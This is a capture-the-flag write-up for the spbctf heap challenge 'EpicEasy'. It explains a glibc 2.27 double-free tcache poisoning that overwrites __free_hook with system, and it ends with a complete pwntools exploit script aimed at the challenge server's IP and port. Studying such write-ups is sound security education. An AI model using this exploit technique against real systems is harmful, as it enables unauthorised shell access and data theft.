EpicEasy
EpicEasy
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: fgets_nul_terminator_pointer_write, free_hook_overwrite, libc_start_main_got_leak, system_bin_sh, tcache_double_free_no_key_check
Summary
Task: glibc 2.27 heap menu (add/remove) with double-free/UAF and a startup libc leak; remove() never nulls the pointer. Solution: double-free to poison the 0x20 tcache, overwrite __free_hook with system, free a chunk holding /bin/sh to get system("/bin/sh") and a shell.
EpicEasy — spbctf
Description
"Epicly easy heap pwn!" Files provided: epiceasy_without_flag.elf, libc.so.6, ld-linux-x86-64.so.2
A menu-driven heap allocator on glibc 2.27. It prints a libc leak at startup and
offers add/remove/quit. The remove operation frees a pointer without clearing it,
enabling a double-free. Goal: get a shell and read the flag baked into arr[0].
Analysis
Binary: ELF x86-64, No PIE (base 0x400000), Partial RELRO (GOT writable),
NX, canary, stripped.
libc: glibc 2.27 (Ubuntu GLIBC 2.27-3ubuntu1.2). This version has no tcache
key and no double-free detection, so a plain free(a); free(b); free(a)
poisons the tcache freelist directly.
The free leak
On startup the program prints:
EPIC EASY HEAP. libc leak: 0x7f....
The leaked value is the __libc_start_main address read from the GOT
(0x601ff0). Its offset in the provided libc is 0x21ab0, giving the libc base
immediately:
libc_base = leak - 0x21ab0
Global state and menu
arr[]chunk-pointer table @0x6020c0sizes[]int array @0x602140arr[0] = malloc(0x10)filled at init with the flag via twomovabsimmediates.
Menu (scanf %d):
- add (
0x400a10): read index (0..15); scanf a size (0 < size <= 0x20);fgets(stackbuf, size, stdin);arr[idx] = malloc(size);strcpy(arr[idx], stackbuf). Every chunk lands in the 0x20 tcache bin. - remove (
0x400b77):free(arr[idx])— does NOT null the pointer → double-free / UAF. - read_index (
0x400baf): scanf%d, requires0 <= idx <= 0xf.
fgets NUL trick for clean pointer writes
fgets(buf, size, stdin) always appends a terminating NUL. Sending a 7-byte
payload lets that NUL complete an 8-byte qword pointer — since x86-64 heap/libc
addresses have 6 significant bytes and two high zero bytes, we write clean,
correct pointers into the tcache fd.
Solution
Because a libc leak is handed to us, we skip the GOT-overwrite tricks needed by
the sibling pwn10_nosoeasy and go straight for the classic
__free_hook = system → system("/bin/sh") route.
- Parse the printed
__libc_start_mainleak →libc_base = leak - 0x21ab0. Computesystemand__free_hookfrom the providedlibc.so.6. add(1, 0x10, "AAAA"),add(2, 0x10, "BBBB").remove(1); remove(2); remove(1)→ double-free (glibc 2.27, no key). tcache[0x20]:A → B → A.add(3, 0x18, p64(__free_hook)[:7])→ pops A, setsA.fd = __free_hook(7 bytes + fgets NUL completes the qword).add(4, 0x18, "x")(pops B),add(5, 0x18, "y")(pops A) → tcache head is now__free_hook.add(6, 0x18, p64(system)[:7])→ malloc returns__free_hook, writingsysteminto it.add(7, 0x18, "/bin/sh\x00");remove(7)→free(arr[7])invokes__free_hook("/bin/sh")=system("/bin/sh")→ shell.
Flag recovery
The without_flag binary carries a placeholder, so we exfiltrated the real
server binary epiceasy.elf over the shell (base64) and read the two movabs
immediates that fill arr[0]:
0x597b667463627073→spbctf{Y0x7d7449743067554f→OUg0tIt}
Concatenated little-endian: spbctf{REDACTED}.
python read-only • copy allowed#!/usr/bin/env python3 """EpicEasy — glibc 2.27 double-free tcache poison. Leak __libc_start_main -> libc base; overwrite __free_hook = system; free a chunk holding "/bin/sh" -> shell. """ from pwn import * context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11738 libc = ELF('./libc.so.6', checksec=False) LSM_OFF = libc.symbols['__libc_start_main'] # 0x21ab0 def menu(io, c): io.recvuntil(b'3) quit\n'); io.sendline(str(c).encode()) def add(io, idx, size, data): menu(io, 1) io.recvuntil(b'index: '); io.sendline(str(idx).encode()) io.recvuntil(b'size: '); io.sendline(str(size).encode()) io.recvuntil(b'input: '); io.send(data + b'\n') def remove_(io, idx): menu(io, 2); io.recvuntil(b'index: '); io.sendline(str(idx).encode()) io = remote(HOST, PORT) io.recvuntil(b'libc leak: ') base = int(io.recvline().strip(), 16) - LSM_OFF system = base + libc.symbols['system'] free_hook = base + libc.symbols['__free_hook'] log.success(f"libc_base={hex(base)} system={hex(system)} free_hook={hex(free_hook)}") # setup + double free (size 0x10 -> 0x20 tcache bin) add(io, 1, 0x10, b'AAAA') add(io, 2, 0x10, b'BBBB') remove_(io, 1); remove_(io, 2); remove_(io, 1) # double free: A -> B -> A # poison A.fd = __free_hook (7 bytes; fgets NUL completes the qword) add(io, 3, 0x18, p64(free_hook)[:7]) # pop A, write fd add(io, 4, 0x18, b'x') # pop B add(io, 5, 0x18, b'y') # pop A ; head = free_hook # write system into __free_hook add(io, 6, 0x18, p64(system)[:7]) # malloc(__free_hook) = system # place "/bin/sh" and free it -> system("/bin/sh") add(io, 7, 0x18, b'/bin/sh\x00') remove_(io, 7) io.interactive()